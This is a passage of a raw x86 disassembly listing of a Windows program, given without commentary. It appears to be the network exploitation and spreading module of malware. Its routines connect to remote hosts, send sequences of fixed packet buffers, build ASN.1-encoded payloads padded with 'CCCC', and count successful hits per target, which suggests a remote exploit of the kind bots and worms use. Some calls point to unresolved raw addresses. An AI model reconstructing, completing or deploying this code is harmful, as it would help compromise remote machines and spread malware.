		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB

loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------

loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------

loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		call	near ptr 26003D2h
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797

loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------

loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------

loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1

loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5

loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1

loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43F700
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax

loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx

loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF

loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------

loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------

loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------

loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1

loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35

loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------

loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61

loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------

loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43F680

loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43F664
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43F6B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B

loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------

loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1

loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl

loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3

loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

